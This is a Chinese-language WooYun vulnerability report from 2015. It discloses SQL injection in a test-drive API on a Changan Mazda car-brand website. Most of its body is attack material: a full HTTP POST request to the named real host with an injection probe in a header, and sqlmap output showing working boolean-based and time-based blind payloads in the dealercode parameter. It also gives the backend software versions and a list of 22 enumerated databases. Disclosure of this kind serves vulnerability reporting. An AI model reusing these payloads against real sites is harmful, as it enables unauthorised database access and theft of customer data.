当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0146728

漏洞标题：长安马自达汽车有限公司某站SQL注入（22库）

相关厂商：长安马自达汽车有限公司

漏洞作者： 路人甲

提交时间：2015-10-14 17:06

修复时间：2015-10-19 17:08

公开时间：2015-10-19 17:08

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-14： 细节已通知厂商并且等待厂商处理中
2015-10-19： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

详细说明：

POST /program/index.php/api/testdriveapi?0.5837047907939267 HTTP/1.1
Host: axela.changan-mazda.com.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://axela.changan-mazda.com.cn/
Content-Length: 296
Cookie: Hm_lvt_076b5c22f74639ae5f3c2add309a41c9=1444807600; Hm_lpvt_076b5c22f74639ae5f3c2add309a41c9=1444807600; Hm_lvt_8b7bbcc82a14eac20fc3a6a1f07804ad=1444807600; Hm_lpvt_8b7bbcc82a14eac20fc3a6a1f07804ad=1444807600; _ga=GA1.3.1772491362.1444807601; _gat=1; CIGDCSCD=1444807601; dmt2=1%7C0%7C0%7Caxela.changan-mazda.com.cn%2F%7C; dmts2=1; dm2=1%7C1444807601%7C0%7C%7C%7C%7C%7C1444807601%7C1444807601%7C0%7C1444807601%7C4359320151014152543561e03770d6dd%7C0%7C%7C; dm_rff2=%5B%5Daxela.changan-mazda.com.cn%252F%5B%5D0%5B%5D; dcad2=; dc_search2=; CIGDCID=4359320151014152543561e03770d6dd; CIGDCTP=0; CIGDCTS=0; CIGDCAD=; CIGDCSE=; _smt_uid=561e03b2.43fef1c8
X-Forwarded-For: 8.8.8.8'"
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
type=1&realname=123&gender=0&mobile=13889652141&provincecode=230000&citycode=230800&dealercode=11246*&email=23488687%40qq.com&brandid=13&topicname=mazda3Axela%E6%98%82%E5%85%8B%E8%B5%9B%E6%8B%89_PChtml5%E4%BA%A7%E5%93%81%E7%BD%91%E7%AB%99&drive_time=2015-6-15&buyplan=undefined-undefined-undefined


参数:dealercode


这里有三处参数都存在问题.brandid,dealercode,realname


1.jpg


2.jpg


3.jpg


sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: type=1&realname=123&gender=0&mobile=13889652141&provincecode=230000&citycode=230800&dealercode=11246' AND 7201=7201 AND 'Zios'='Zios&[email protected]&brandid=13&topicname=mazda3Axela%E6%98%82%E5%85%8B%E8%B5%9B%E6%8B%89_PChtml5%E4%BA%A7%E5%93%81%E7%BD%91%E7%AB%99&drive_time=2015-6-15&buyplan=undefined-undefined-undefined
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: type=1&realname=123&gender=0&mobile=13889652141&provincecode=230000&citycode=230800&dealercode=11246' AND (SELECT * FROM (SELECT(SLEEP(5)))gmsV) AND 'KDwL'='KDwL&[email protected]&brandid=13&topicname=mazda3Axela%E6%98%82%E5%85%8B%E8%B5%9B%E6%8B%89_PChtml5%E4%BA%A7%E5%93%81%E7%BD%91%E7%AB%99&drive_time=2015-6-15&buyplan=undefined-undefined-undefined
---
web application technology: PHP 5.3.10, Apache 2.4.1
back-end DBMS: MySQL 5.0.12
current database:    'changanmzd'


sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: type=1&realname=123&gender=0&mobile=13889652141&provincecode=230000&citycode=230800&dealercode=11246' AND 7201=7201 AND 'Zios'='Zios&[email protected]&brandid=13&topicname=mazda3Axela%E6%98%82%E5%85%8B%E8%B5%9B%E6%8B%89_PChtml5%E4%BA%A7%E5%93%81%E7%BD%91%E7%AB%99&drive_time=2015-6-15&buyplan=undefined-undefined-undefined
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: type=1&realname=123&gender=0&mobile=13889652141&provincecode=230000&citycode=230800&dealercode=11246' AND (SELECT * FROM (SELECT(SLEEP(5)))gmsV) AND 'KDwL'='KDwL&[email protected]&brandid=13&topicname=mazda3Axela%E6%98%82%E5%85%8B%E8%B5%9B%E6%8B%89_PChtml5%E4%BA%A7%E5%93%81%E7%BD%91%E7%AB%99&drive_time=2015-6-15&buyplan=undefined-undefined-undefined
---
web application technology: PHP 5.3.10, Apache 2.4.1
back-end DBMS: MySQL 5.0.12
available databases [22]:
[*] aaa
[*] car
[*] car_bak
[*] changanmzd
[*] changanmzd2015
[*] chetie
[*] ct
[*] cx
[*] cx5
[*] cx5_2015
[*] cx5_818
[*] cx5wrzy
[*] information_schema
[*] market2015
[*] market_babaquna
[*] mazda
[*] mazda_yumatravel
[*] mazida
[*] mysql
[*] performance_schema
[*] test
[*] yumazu

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-10-19 17:08

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无